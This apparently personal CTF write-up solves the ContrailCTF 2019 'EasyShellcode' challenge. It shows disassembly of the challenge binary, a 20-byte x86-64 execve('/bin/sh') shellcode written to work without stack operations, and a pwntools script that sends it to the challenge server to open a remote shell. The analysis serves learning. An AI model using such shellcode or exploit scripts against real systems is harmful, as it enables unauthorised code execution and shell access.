1. Description
After completing pwnable.kr’s asm challenge, I decided to do more shellcode things. As recommended by 道路さん (@Nperair) from Contrail, I checked out their own CTF, ContrailCTF 2019, and saw this shellcode challenge called EasyShellcode. Let’s check it out:
peilin@PWN:~/ContrailCTF/EasyShellcode$ file problem
problem: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=add25425cb4bce5d87c64c10487dc62146849971, not stripped
peilin@PWN:~/ContrailCTF/EasyShellcode$ gdb -q problem
Reading symbols from problem…(no debugging symbols found)…done.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
peilin@PWN:~/ContrailCTF/EasyShellcode$ ./problem
Input your shellcode:
So the challenge seems to be pretty straightforward, input my shellcode to get a shell. Well, good news I don’t have to defeat all those mitigations. 🙂
Let’s take a closer look:
0x000000000000087a <+96>: mov rax,QWORD PTR [rbp-0x10]
0x000000000000087e <+100>: mov edx,0x14
0x0000000000000883 <+105>: mov rsi,rax
0x0000000000000886 <+108>: mov edi,0x0
0x000000000000088b <+113>: call 0x6d0 <read@plt>
0x0000000000000890 <+118>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000000894 <+122>: mov edx,0x7
0x0000000000000899 <+127>: mov esi,0x64
0x000000000000089e <+132>: mov rdi,rax
0x00000000000008a1 <+135>: call 0x6f0 <mprotect@plt>
0x00000000000008a6 <+140>: lea rax,[rbp-0x10]
0x00000000000008aa <+144>: xor rdx,rdx
0x00000000000008ad <+147>: xor rdi,rdi
0x00000000000008b0 <+150>: xor rsi,rsi
0x00000000000008b3 <+153>: xor rbx,rbx
0x00000000000008b6 <+156>: xor rcx,rcx
0x00000000000008b9 <+159>: xor r8,r8
0x00000000000008bc <+162>: xor r9,r9
0x00000000000008bf <+165>: xor r10,r10
0x00000000000008c2 <+168>: xor r11,r11
0x00000000000008c5 <+171>: xor r12,r12
0x00000000000008c8 <+174>: xor r13,r13
0x00000000000008cb <+177>: xor r14,r14
0x00000000000008ce <+180>: xor r15,r15
0x00000000000008d1 <+183>: xor rbp,rbp
0x00000000000008d4 <+186>: xor rsp,rsp
0x00000000000008d7 <+189>: jmp QWORD PTR [rax]
OK. So the program read()
0x14
bytes of our shellcode into address QWORD PTR [rbp-0x10]
, calls mprotect()
so that we can actually execute some code on the stack. Finally, it set rax to rbp-0x10
and zeroes out a whole bunch of registers, which seems pretty scary. Here we have a worse scenario than we had in pwnable.kr’s asm challenge, since now rsp is also set to zero, which means we can’t do push
, otherwise we will be writing to some funny addresses. pop
won’t work either, I think.
After those xor
s the program jmp
to QWORD PTR [rax]
, which equals to QWORD PTR [rbp-0x10]
, where our shellcode starts.
2. Solution
So, no stack operations, within 0x14
bytes. Here’s my solution:
mov rdi, [rax] ; rdi now points at this line add rdi, 13 ; rdi now points at “/bin/sh”, as we will see lea rax, [rbx + 0x3b] ; setting rax without push and pop syscall .ascii “/bin/sh"
This is my full exp. I added print(disasm(shellcode))
to see my shellcode in hex and did the offset calculation:
…
0: 48 8b 38 mov rdi, QWORD PTR [rax]
3: 48 83 c7 0d add rdi, 0xd
7: 48 8d 43 3b lea rax, [rbx+0x3b]
b: 0f 05 syscall
…
#!/usr/bin/env python from pwn import * context.update(arch="amd64", os="linux", bits=64) context.terminal = ['tmux', 'splitw', '-h'] context.log_level = "DEBUG" # elf = context.binary = ELF('./problem') # p = process(elf.path) # gdb.attach(proc.pidof(p)[0]) p = remote('114.177.250.4', 2210) shellcode = asm(""" mov rdi, [rax] add rdi, 13 lea rax, [rbx + 0x3b] syscall .ascii "/bin/sh" """) p.recvuntil("Input your shellcode: ") print(disasm(shellcode)) p.send(shellcode) p.interactive()
Ideally the /bin/sh
string should terminate with a NULL byte but we are running out of bytes. My exp worked, though…